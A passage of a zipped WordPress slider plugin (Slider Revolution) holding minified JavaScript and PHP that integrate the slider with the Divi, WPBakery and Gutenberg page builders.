Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function s(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}function l(e,t){return!t||"object"!==a(t)&&"function"!==typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}var c=function(e){function t(e){var n;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),(n=l(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e))).RVS=window.parent.RVS,n.RVS_DIVI_LANG=window.RVS_DIVI_LANG,n.states={not_selected:{icon:"photo_camera",text:n.RVS_DIVI_LANG.slider_not_selected},loading:{icon:"downloading",text:n.RVS_DIVI_LANG.loading_image},no_image:{icon:"broken_image",text:n.RVS_DIVI_LANG.broken_image}},n.state={currentState:"not_selected",block:{},image:""},n.props.revslider_divi&&(n.state.block=n.RVS.SC.scToBlock(n.props.revslider_divi),n.state.block.alias&&(n.state.currentState="loading")),window.parent.document.getElementById("waitaminute")||window.parent.jQuery("body").append('<div id="waitaminute" class="_TPRB_"></div>'),n}var n,o,a;return function(e,t){if("function"!==typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i["Component"]),n=t,(o=[{key:"loadSliderImage",value:function(e){var t=this;this.RVS.F.ajaxRequest("getSliderImage",{alias:e},function(e){e.success&&void 0!==e&&void 0!==e.image?t.setState({image:e.image}):t.setState({image:"",currentState:"no_image"})})}},{key:"componentDidMount",value:function(){this.state.block.alias&&this.loadSliderImage(this.state.block.alias)}},{key:"componentDidUpdate",value:function(e,t){if(this.props.revslider_divi!==e.revslider_divi){var n=this.RVS.SC.scToBlock(this.props.revslider_divi);this.setState({block:n}),n.alias!==t.block.alias&&(this.setState({image:"",currentState:"loading"}),this.loadSliderImage(n.alias))}}},{key:"render",value:function(){var e,t=this.states[this.state.currentState].icon,n=this.states[this.state.currentState].text,i=this.state.image;return e=i?r.a.createElement("div",{style:{backgroundImage:"url("+i+")"}}):r.a.createElement("div",null,r.a.createElement("span",{className:"icon"},t),r.a.createElement("span",{className:"text"},n)),r.a.createElement("div",{className:"revslider_divi_block"},r.a.createElement("div",{className:"revslider_title"},r.a.createElement("span",null,this.state.block.slidertitle||"")),r.a.createElement("div",{className:"revslider_image"},e))}}])&&s(n.prototype,o),a&&s(n,a),t}();Object.defineProperty(c,"slug",{configurable:!0,enumerable:!0,writable:!0,value:"revslider_divi"}),t.a=c},function(e,t,n){"use strict";var i=n(10);t.a=[i.a]},function(e,t,n){"use strict";var i=n(2),r=n.n(i),o=n(1);n.n(o);function a(e){return(a="function"===typeof Symbol&&"symbol"===typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"===typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function l(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}function c(e,t,n){return t&&l(e.prototype,t),n&&l(e,n),e}function u(e,t){return!t||"object"!==a(t)&&"function"!==typeof t?d(e):t}function p(e,t){if("function"!==typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function d(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}var f=function(e){function t(){var e,n,i;s(this,t);for(var r=arguments.length,o=new Array(r),a=0;a<r;a++)o[a]=arguments[a];return u(i,(n=i=u(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(o))),Object.defineProperty(d(i),"getBtnClasses",{configurable:!0,enumerable:!0,writable:!0,value:function(){return"revslider_divi_input_button "+i.props.btnClasses}}),n))}return p(t,i["Component"]),c(t,[{key:"render",value:function(){return r.a.createElement("button",{type:"button",className:this.getBtnClasses(),"data-tip":this.props.tip,"data-delay-show":0,"data-place":"top","data-effect":"solid",onClick:this.props.handleClick,disabled:this.props.disabled},this.props.text)}}]),t}(),b=function(e){function t(e){var n;return s(this,t),n=u(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e)),Object.defineProperty(d(n),"checkSettingsModal",{configurable:!0,enumerable:!0,writable:!0,value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";if(window.parent.document.getElementById("rbm_blocksettings"))e&&"function"===typeof n[e]&&n[e]();else{var t=d(n);n.RVS.F.ajaxRequest("shortcode_enqueue_files",{},function(n){void 0!==n&&n.success&&void 0!==n.data.html||this.RVS.F.showErrorMessage(this.RVS_DIVI_LANG.error_loading_settings),window.parent.jQuery("body").append(n.data.html),e&&"function"===typeof t[e]&&t[e]()})}}}),Object.defineProperty(d(n),"openLibrary",{configurable:!0,enumerable:!0,writable:!0,value:function(){n.RVS.SC.openTemplateLibrary("divi")}}),Object.defineProperty(d(n),"openSliderEditor",{configurable:!0,enumerable:!0,writable:!0,value:function(){if(!n.state.alias)return!1;n.RVS.SC.openSliderEditor(n.state.alias)}}),Object.defineProperty(d(n),"openBlockSettings",{configurable:!0,enumerable:!0,writable:!0,value:function(){if(!n.state.alias)return!1;n.RVS.SC.BLOCK=n.state,n.RVS.SC.openBlockSettings("divi")}}),Object.defineProperty(d(n),"openOptimizer",{configurable:!0,enumerable:!0,writable:!0,value:function(){if(!n.state.alias)return!1;n.RVS.SC.BLOCK=n.state,n.RVS.SC.openOptimizer(n.state.alias)}}),n.RVS=window.parent.RVS,n.RVS_LANG=window.RVS_LANG,n.RVS_DIVI_LANG=window.RVS_DIVI_LANG,n.state={},n.props.value&&(n.state=n.RVS.SC.scToBlock(n.props.value),n.state.content=n.props.value),window.parent.document.getElementById("waitaminute")||window.parent.jQuery("body").append('<div id="waitaminute" class="_TPRB_"></div>'),n}return p(t,i["Component"]),c(t,[{key:"componentDidMount",value:function(){window.parent.revslider_divi=this}},{key:"render",value:function(){var e=this;return r.a.createElement("div",{className:"revslider_divi_input_container"},r.a.createElement("input",{id:"revslider-input-".concat(this.props.name),name:this.props.name,value:this.props.value,type:"hidden"}),r.a.createElement("div",{className:"revslider_divi_buttons_container"},r.a.createElement(f,{btnClasses:"revslider_module_button",tip:this.RVS_DIVI_LANG.select_module_tip,handleClick:function(){return e.checkSettingsModal("openLibrary")},text:this.RVS_DIVI_LANG.select_module}),r.a.createElement(f,{btnClasses:"revslider_divi_input_button_small revslider_editor_button",tip:this.RVS_DIVI_LANG.open_editor_tip,handleClick:this.openSliderEditor,disabled:!this.props.value,text:"edit"}),r.a.createElement(f,{btnClasses:"revslider_divi_input_button_small revslider_block_button",tip:this.RVS_DIVI_LANG.edit_settings_tip,handleClick:function(){return e.checkSettingsModal("openBlockSettings")},disabled:!this.props.value,text:"tune"}),r.a.createElement(f,{btnClasses:"revslider_divi_input_button_small revslider_optimize_button",tip:this.RVS_DIVI_LANG.optimize_tip,handleClick:function(){return e.checkSettingsModal("openOptimizer")},disabled:!this.props.value,text:"flash_on"})),r.a.createElement("div",{className:"revslider_divi_selected et-fb-form__group"},r.a.createElement("span",{className:"et-fb-form__label"},r.a.createElement("span",{className:"et-fb-form__label-text"},this.RVS_DIVI_LANG.current_module)),r.a.createElement("div",{className:"et-fb-settings-options et-fb-option--text"},r.a.createElement("div",{className:"et-fb-option-container"},r.a.createElement("input",{className:"et-fb-settings-option-input et-fb-settings-option-input--block",type:"text",value:this.state.slidertitle||this.RVS_DIVI_LANG.none,disabled:!0})))))}}]),t}();Object.defineProperty(b,"slug",{configurable:!0,enumerable:!0,writable:!0,value:"revslider_divi_input"}),t.a=b}]);PK�y3\�ƹ�3includes/shortcode_generator/divi/scripts/index.phpnu�[���<?php // Silence is golden
PK�y3\[���JJ@includes/shortcode_generator/divi/scripts/frontend-bundle.min.jsnu�[���!function(n){var t={};function r(e){if(t[e])return t[e].exports;var o=t[e]={i:e,l:!1,exports:{}};return n[e].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=n,r.c=t,r.d=function(n,t,e){r.o(n,t)||Object.defineProperty(n,t,{configurable:!1,enumerable:!0,get:e})},r.n=function(n){var t=n&&n.__esModule?function(){return n.default}:function(){return n};return r.d(t,"a",t),t},r.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},r.p="/",r(r.s=11)}([function(n,t){},function(n,t){},,,,,,,,,,function(n,t,r){r(1),r(0),n.exports=r(12)},function(n,t){jQuery(function(n){})}]);PK�y3\�ƹ�/includes/shortcode_generator/wpbakery/index.phpnu�[���<?php // Silence is golden
PK�y3\��TT8includes/shortcode_generator/wpbakery/wpbakery.class.phpnu�[���<?php
/**
 * called from revslider-front.class.php
 * @since: 6.1.6
 */

if(!defined('ABSPATH')) exit();

class RevSliderWpbakeryShortcode {

    public static function visual_composer_include(){

        // VC is enabled
        if(defined('WPB_VC_VERSION') && function_exists('vc_map')){
            vc_map(
                array(
                    'name' => __('Slider Revolution 6', 'revslider'),
                    'base' => 'rev_slider',
                    'icon' => 'icon-wpb-revslider',
                    'category' => __('Content', 'revslider'),
                    'show_settings_on_create' => false,
                    'js_view' => 'VcSliderRevolution',
                    'admin_enqueue_js' => RS_PLUGIN_URL.'admin/assets/js/shortcode_generator/vc.js',
                    'front_enqueue_js' => RS_PLUGIN_URL.'admin/assets/js/shortcode_generator/vc.js',
                    'params' => array(
                        array(
                            'type' => 'rev_slider_shortcode',
                            'heading' => __('Modal', 'revslider'),
                            'param_name' => 'modal',
                            'admin_label' => false,
                            'value' => ''
                        ),
                        array(
                            'type' => 'rev_slider_shortcode',
                            'heading' => __('Popup', 'revslider'),
                            'param_name' => 'popup',
                            'admin_label' => false,
                            'value' => ''
                        ),
                        array(
                            'type' => 'rev_slider_shortcode',
                            'heading' => __('Title', 'revslider'),
                            'param_name' => 'slidertitle',
                            'admin_label' => true,
                            'value' => ''
                        ),
                        array(
                            'type' => 'rev_slider_shortcode',
                            'heading' => __('Alias', 'revslider'),
                            'param_name' => 'alias',
                            'admin_label' => true,
                            'value' => ''
                        ),
                        array(
                            'type' => 'rev_slider_shortcode',
                            'heading' => __('Offset', 'revslider'),
                            'param_name' => 'offset',
                            'admin_label' => false,
                            'value' => ''
                        ),
                        array(
                            'type' => 'rev_slider_shortcode',
                            'heading' => __('Layout', 'revslider'),
                            'param_name' => 'layout',
                            'admin_label' => false,
                            'value' => ''
                        ),
                        array(
                            'type' => 'rev_slider_shortcode',
                            'heading' => __('z-Index', 'revslider'),
                            'param_name' => 'zindex',
                            'admin_label' => false,
                            'value' => ''
                        ),
                        array(
                            'type' => 'rev_slider_shortcode',
                            'heading' => __('Usage', 'revslider'),
                            'param_name' => 'usage',
                            'admin_label' => false,
                            'value' => ''
                        ),
                    )
                )
            );
        }
    }
}PK�y3\�Ӡ�vv1includes/shortcode_generator/gutenberg/plugin.phpnu�[���<?php
/**
 * Plugin Name: revslider-gutenberg — CGB Gutenberg Block Plugin
 * Plugin URI: https://github.com/ahmadawais/create-guten-block/
 * Description: revslider-gutenberg — is a Gutenberg plugin created via create-guten-block.
 * Author: mrahmadawais, maedahbatool
 * Author URI: https://AhmadAwais.com/
 * Version: 1.0.0
 * License: GPL2+
 * License URI: https://www.gnu.org/licenses/gpl-2.0.txt
 *
 * @package CGB
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Block Initializer.
 */
require_once plugin_dir_path( __FILE__ ) . 'src/gutenberg-block.php';
new RevSliderGutenberg('');
PK�y3\�e5�
�
:includes/shortcode_generator/gutenberg/gutenberg-block.phpnu�[���<?php
/**
 * Blocks Initializer
 *
 * Enqueue CSS/JS of all the blocks.
 *
 * @since   1.0.0
 * @package CGB
 */

// Exit if accessed directly.
if(!defined('ABSPATH')) exit();

if(!class_exists('RevSliderGutenberg')){

	class RevSliderGutenberg {
		
		private $prefix;
		
		public function __construct($pre){
			global $wp_version;
			$this->prefix = $pre;
			
			// add ThemePunch block category
			if(version_compare($wp_version, '5.8', '>=')){
				add_filter('block_categories_all', array($this, 'create_block_category'), 10, 2);
			}else{ //block_categories is deprecated since 5.8
				add_filter('block_categories', array($this, 'create_block_category'), 10, 2);
			}
			
			// Hook: Frontend assets.
			add_action('enqueue_block_assets', array($this, 'revslider_gutenberg_cgb_block_assets'));
			
			// Hook: Editor assets.
			add_action('enqueue_block_editor_assets', array($this, 'revslider_gutenberg_cgb_editor_assets'));
		}
		
		/**
		 * Check Array for Value Recursive
		 */
		private function in_array_r($needle, $haystack, $strict = false){
			if(is_array($haystack) && !empty($haystack)){
				foreach($haystack as $item){
					if(($strict ? $item === $needle : $item == $needle) || (is_array($item) && $this->in_array_r($needle, $item, $strict))){
						return true;
					}
				}
			}
		
			return false;
		}
		
		/**
		 * Add ThemePunch Gutenberg Block Category
		 */
		public function create_block_category($categories, $post){
			if($this->in_array_r('themepunch', $categories)){
				return $categories;
			}

			return array_merge($categories, array(array('slug' => 'themepunch', 'title' => __('ThemePunch', 'revslider'))));
		}

		/**
		 * Enqueue Gutenberg block assets for both frontend + backend.
		 *
		 * @uses {wp-editor} for WP editor styles.
		 * @since 1.0.0
		 */
		public function revslider_gutenberg_cgb_block_assets(){ // phpcs:ignore
			// Styles.
			wp_enqueue_style(
				'revslider_gutenberg-cgb-style-css', // Handle.
				plugins_url( $this->prefix . 'dist/blocks.style.build.css', dirname( __FILE__ )), // Block style CSS.
				array(), // Dependency to include the CSS after it.
				RS_REVISION// filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.style.build.css') // Version: File modification time.
			);
		}

		/**
		 * Enqueue Gutenberg block assets for backend editor.
		 *
		 * @uses {wp-blocks} for block type registration & related functions.
		 * @uses {wp-element} for WP Element abstraction — structure of blocks.
		 * @uses {wp-i18n} to internationalize the block's text.
		 * @uses {wp-editor} for WP editor styles.
		 * @since 1.0.0
		 */
		public function revslider_gutenberg_cgb_editor_assets(){ // phpcs:ignore
			// Scripts.
			wp_enqueue_script(
				'revslider_gutenberg-cgb-block-js', // Handle.
				plugins_url( $this->prefix . 'dist/blocks.build.js', dirname( __FILE__ )), // Block.build.js: We register the block here. Built with Webpack.
				array('wp-blocks', 'wp-i18n', 'wp-element'), // Dependencies, defined above.
				// filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.build.js'), // Version: File modification time.
				RS_REVISION,
				true // Enqueue the script in the footer.
			);

			// Styles.
			wp_enqueue_style(
				'revslider_gutenberg-cgb-block-editor-css', // Handle.
				plugins_url( $this->prefix . 'dist/blocks.editor.build.css', dirname( __FILE__ )), // Block editor CSS.
				array('wp-edit-blocks'), // Dependency to include the CSS after it.
				RS_REVISION
				// filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.editor.build.css') // Version: File modification time.
			);
		}
	}
}PK�y3\�����;includes/shortcode_generator/gutenberg/dist/blocks.build.jsnu�[���/******/ (function(modules) { // webpackBootstrap
/******/ 	// The module cache
/******/ 	var installedModules = {};
/******/
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/
/******/ 		// Check if module is in cache
/******/ 		if(installedModules[moduleId]) {
/******/ 			return installedModules[moduleId].exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = installedModules[moduleId] = {
/******/ 			i: moduleId,
/******/ 			l: false,
/******/ 			exports: {}
/******/ 		};
/******/
/******/ 		// Execute the module function
/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ 		// Flag the module as loaded
/******/ 		module.l = true;
/******/
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/
/******/
/******/ 	// expose the modules object (__webpack_modules__)
/******/ 	__webpack_require__.m = modules;
/******/
/******/ 	// expose the module cache
/******/ 	__webpack_require__.c = installedModules;
/******/
/******/ 	// define getter function for harmony exports
/******/ 	__webpack_require__.d = function(exports, name, getter) {
/******/ 		if(!__webpack_require__.o(exports, name)) {
/******/ 			Object.defineProperty(exports, name, {
/******/ 				configurable: false,
/******/ 				enumerable: true,
/******/ 				get: getter
/******/ 			});
/******/ 		}
/******/ 	};
/******/
/******/ 	// getDefaultExport function for compatibility with non-harmony modules
/******/ 	__webpack_require__.n = function(module) {
/******/ 		var getter = module && module.__esModule ?
/******/ 			function getDefault() { return module['default']; } :
/******/ 			function getModuleExports() { return module; };
/******/ 		__webpack_require__.d(getter, 'a', getter);
/******/ 		return getter;
/******/ 	};
/******/
/******/ 	// Object.prototype.hasOwnProperty.call
/******/ 	__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ 	// __webpack_public_path__
/******/ 	__webpack_require__.p = "";
/******/
/******/ 	// Load entry module and return exports
/******/ 	return __webpack_require__(__webpack_require__.s = 0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/*!***********************!*\
  !*** ./src/blocks.js ***!
  \***********************/
/*! no exports provided */
/*! all exports used */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
eval("Object.defineProperty(__webpack_exports__, \"__esModule\", { value: true });\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__revslider__ = __webpack_require__(/*! ./revslider */ 1);\n/**\n * Gutenberg Blocks\n *\n * All blocks related JavaScript files should be imported here.\n * You can create a new block folder in this dir and include code\n * for that block here as well.\n *\n * All blocks should be included here since this is the file that\n * Webpack is compiling as the input file.\n */\n\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMC5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9ibG9ja3MuanM/N2I1YiJdLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEd1dGVuYmVyZyBCbG9ja3NcbiAqXG4gKiBBbGwgYmxvY2tzIHJlbGF0ZWQgSmF2YVNjcmlwdCBmaWxlcyBzaG91bGQgYmUgaW1wb3J0ZWQgaGVyZS5cbiAqIFlvdSBjYW4gY3JlYXRlIGEgbmV3IGJsb2NrIGZvbGRlciBpbiB0aGlzIGRpciBhbmQgaW5jbHVkZSBjb2RlXG4gKiBmb3IgdGhhdCBibG9jayBoZXJlIGFzIHdlbGwuXG4gKlxuICogQWxsIGJsb2NrcyBzaG91bGQgYmUgaW5jbHVkZWQgaGVyZSBzaW5jZSB0aGlzIGlzIHRoZSBmaWxlIHRoYXRcbiAqIFdlYnBhY2sgaXMgY29tcGlsaW5nIGFzIHRoZSBpbnB1dCBmaWxlLlxuICovXG5cbmltcG9ydCAnLi9yZXZzbGlkZXInO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vc3JjL2Jsb2Nrcy5qc1xuLy8gbW9kdWxlIGlkID0gMFxuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBO0FBQUE7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBOyIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///0\n");

/***/ }),
/* 1 */
/*!********************************!*\
  !*** ./src/revslider/index.js ***!
  \********************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
eval("/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__style_scss__ = __webpack_require__(/*! ./style.scss */ 2);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__style_scss___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0__style_scss__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__editor_scss__ = __webpack_require__(/*! ./editor.scss */ 3);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__editor_scss___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1__editor_scss__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__deprecated__ = __webpack_require__(/*! ./deprecated */ 4);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__revslider__ = __webpack_require__(/*! ./revslider */ 5);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__wordpress_components__ = __webpack_require__(/*! @wordpress/components */ 7);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__wordpress_components___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_4__wordpress_components__);\n/**\n * Block dependencies\n */\n\n\n\n/**\n * Internal block libraries\n */\nvar __ = wp.i18n.__;\nvar registerBlockType = wp.blocks.registerBlockType;\n\nif (typeof wp.blockEditor !== 'undefined') var _wp$blockEditor = wp.blockEditor,\n      InspectorControls = _wp$blockEditor.InspectorControls,\n      InspectorAdvancedControls = _wp$blockEditor.InspectorAdvancedControls;else var _wp$editor = wp.editor,\n      InspectorControls = _wp$editor.InspectorControls,\n      InspectorAdvancedControls = _wp$editor.InspectorAdvancedControls;\nvar Component = wp.element.Component;\n\n\n\n\n\nvar withState = wp.compose.withState;\n\n/**\n * Register block\n */\n\n/* unused harmony default export */ var _unused_webpack_default_export = (registerBlockType('themepunch/revslider', {\n  title: __('Slider Revolution', 'revslider'),\n  description: __('Add your Slider Revolution Module!', 'revslider'),\n  category: 'common',\n  icon: {\n    src: 'update',\n    background: 'rgb(94, 53, 177)',\n    color: 'white',\n    viewbox: \"0 0 28 28\"\n  },\n  keywords: [__('Banner', 'revslider'), __('CTA', 'revslider'), __('Slider', 'revslider')],\n  attributes: {\n    checked: {\n      type: 'boolean',\n      default: false\n    },\n    modal: {\n      type: 'boolean',\n      default: false\n    },\n    content: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'text'\n    },\n    text: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'text'\n    },\n    slidertitle: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'attribute',\n      attribute: 'data-slidertitle'\n    },\n    sliderImage: {\n      type: 'string'\n    },\n    hideSliderImage: {\n      boolean: false\n    },\n    alias: {\n      type: 'string'\n    },\n    zindex: {\n      type: 'string'\n    },\n    wrapperid: {\n      type: 'string'\n    }\n  },\n  edit: function edit(props) {\n    var setAttributes = props.setAttributes,\n        wrapperid = props.attributes.wrapperid;\n\n    return [wp.element.createElement(\n      'div',\n      null,\n      wp.element.createElement(__WEBPACK_IMPORTED_MODULE_3__revslider__[\"a\" /* RevSlider */], Object.assign({ setAttributes: setAttributes }, props))\n    )];\n  },\n  deprecated: __WEBPACK_IMPORTED_MODULE_2__deprecated__[\"a\" /* deprecated */],\n  save: function save(props) {\n    var _props$attributes = props.attributes,\n        text = _props$attributes.text,\n        content = _props$attributes.content,\n        slidertitle = _props$attributes.slidertitle,\n        modal = _props$attributes.modal,\n        zindex = _props$attributes.zindex,\n        wrapperid = _props$attributes.wrapperid;\n\n    var style = void 0;\n    style = zindex ? \"z-index:\" + zindex + \";\" : \"\";\n    var shortcode = !content && text ? text : content;\n    return wp.element.createElement(\n      'div',\n      { className: 'revslider', id: wrapperid, 'data-modal': modal, 'data-slidertitle': slidertitle, style: style },\n      shortcode\n    );\n  }\n}));//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMS5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvaW5kZXguanM/MDdkMSJdLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEJsb2NrIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgJy4vc3R5bGUuc2Nzcyc7XG5pbXBvcnQgJy4vZWRpdG9yLnNjc3MnO1xuXG4vKipcbiAqIEludGVybmFsIGJsb2NrIGxpYnJhcmllc1xuICovXG52YXIgX18gPSB3cC5pMThuLl9fO1xudmFyIHJlZ2lzdGVyQmxvY2tUeXBlID0gd3AuYmxvY2tzLnJlZ2lzdGVyQmxvY2tUeXBlO1xuXG5pZiAodHlwZW9mIHdwLmJsb2NrRWRpdG9yICE9PSAndW5kZWZpbmVkJykgdmFyIF93cCRibG9ja0VkaXRvciA9IHdwLmJsb2NrRWRpdG9yLFxuICAgICAgSW5zcGVjdG9yQ29udHJvbHMgPSBfd3AkYmxvY2tFZGl0b3IuSW5zcGVjdG9yQ29udHJvbHMsXG4gICAgICBJbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzID0gX3dwJGJsb2NrRWRpdG9yLkluc3BlY3RvckFkdmFuY2VkQ29udHJvbHM7ZWxzZSB2YXIgX3dwJGVkaXRvciA9IHdwLmVkaXRvcixcbiAgICAgIEluc3BlY3RvckNvbnRyb2xzID0gX3dwJGVkaXRvci5JbnNwZWN0b3JDb250cm9scyxcbiAgICAgIEluc3BlY3RvckFkdmFuY2VkQ29udHJvbHMgPSBfd3AkZWRpdG9yLkluc3BlY3RvckFkdmFuY2VkQ29udHJvbHM7XG52YXIgQ29tcG9uZW50ID0gd3AuZWxlbWVudC5Db21wb25lbnQ7XG5cbmltcG9ydCB7IGRlcHJlY2F0ZWQgfSBmcm9tICcuL2RlcHJlY2F0ZWQnO1xuaW1wb3J0IHsgUmV2U2xpZGVyIH0gZnJvbSAnLi9yZXZzbGlkZXInO1xuXG5pbXBvcnQgeyBUZXh0Q29udHJvbCB9IGZyb20gJ0B3b3JkcHJlc3MvY29tcG9uZW50cyc7XG52YXIgd2l0aFN0YXRlID0gd3AuY29tcG9zZS53aXRoU3RhdGU7XG5cbi8qKlxuICogUmVnaXN0ZXIgYmxvY2tcbiAqL1xuXG5leHBvcnQgZGVmYXVsdCByZWdpc3RlckJsb2NrVHlwZSgndGhlbWVwdW5jaC9yZXZzbGlkZXInLCB7XG4gIHRpdGxlOiBfXygnU2xpZGVyIFJldm9sdXRpb24nLCAncmV2c2xpZGVyJyksXG4gIGRlc2NyaXB0aW9uOiBfXygnQWRkIHlvdXIgU2xpZGVyIFJldm9sdXRpb24gTW9kdWxlIScsICdyZXZzbGlkZXInKSxcbiAgY2F0ZWdvcnk6ICdjb21tb24nLFxuICBpY29uOiB7XG4gICAgc3JjOiAndXBkYXRlJyxcbiAgICBiYWNrZ3JvdW5kOiAncmdiKDk0LCA1MywgMTc3KScsXG4gICAgY29sb3I6ICd3aGl0ZScsXG4gICAgdmlld2JveDogXCIwIDAgMjggMjhcIlxuICB9LFxuICBrZXl3b3JkczogW19fKCdCYW5uZXInLCAncmV2c2xpZGVyJyksIF9fKCdDVEEnLCAncmV2c2xpZGVyJyksIF9fKCdTbGlkZXInLCAncmV2c2xpZGVyJyldLFxuICBhdHRyaWJ1dGVzOiB7XG4gICAgY2hlY2tlZDoge1xuICAgICAgdHlwZTogJ2Jvb2xlYW4nLFxuICAgICAgZGVmYXVsdDogZmFsc2VcbiAgICB9LFxuICAgIG1vZGFsOiB7XG4gICAgICB0eXBlOiAnYm9vbGVhbicsXG4gICAgICBkZWZhdWx0OiBmYWxzZVxuICAgIH0sXG4gICAgY29udGVudDoge1xuICAgICAgc2VsZWN0b3I6ICcucmV2c2xpZGVyJyxcbiAgICAgIHR5cGU6ICdzdHJpbmcnLFxuICAgICAgc291cmNlOiAndGV4dCdcbiAgICB9LFxuICAgIHRleHQ6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ3RleHQnXG4gICAgfSxcbiAgICBzbGlkZXJ0aXRsZToge1xuICAgICAgc2VsZWN0b3I6ICcucmV2c2xpZGVyJyxcbiAgICAgIHR5cGU6ICdzdHJpbmcnLFxuICAgICAgc291cmNlOiAnYXR0cmlidXRlJyxcbiAgICAgIGF0dHJpYnV0ZTogJ2RhdGEtc2xpZGVydGl0bGUnXG4gICAgfSxcbiAgICBzbGlkZXJJbWFnZToge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9LFxuICAgIGhpZGVTbGlkZXJJbWFnZToge1xuICAgICAgYm9vbGVhbjogZmFsc2VcbiAgICB9LFxuICAgIGFsaWFzOiB7XG4gICAgICB0eXBlOiAnc3RyaW5nJ1xuICAgIH0sXG4gICAgemluZGV4OiB7XG4gICAgICB0eXBlOiAnc3RyaW5nJ1xuICAgIH0sXG4gICAgd3JhcHBlcmlkOiB7XG4gICAgICB0eXBlOiAnc3RyaW5nJ1xuICAgIH1cbiAgfSxcbiAgZWRpdDogZnVuY3Rpb24gZWRpdChwcm9wcykge1xuICAgIHZhciBzZXRBdHRyaWJ1dGVzID0gcHJvcHMuc2V0QXR0cmlidXRlcyxcbiAgICAgICAgd3JhcHBlcmlkID0gcHJvcHMuYXR0cmlidXRlcy53cmFwcGVyaWQ7XG5cbiAgICByZXR1cm4gW3dwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICdkaXYnLFxuICAgICAgbnVsbCxcbiAgICAgIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChSZXZTbGlkZXIsIE9iamVjdC5hc3NpZ24oeyBzZXRBdHRyaWJ1dGVzOiBzZXRBdHRyaWJ1dGVzIH0sIHByb3BzKSlcbiAgICApXTtcbiAgfSxcbiAgZGVwcmVjYXRlZDogZGVwcmVjYXRlZCxcbiAgc2F2ZTog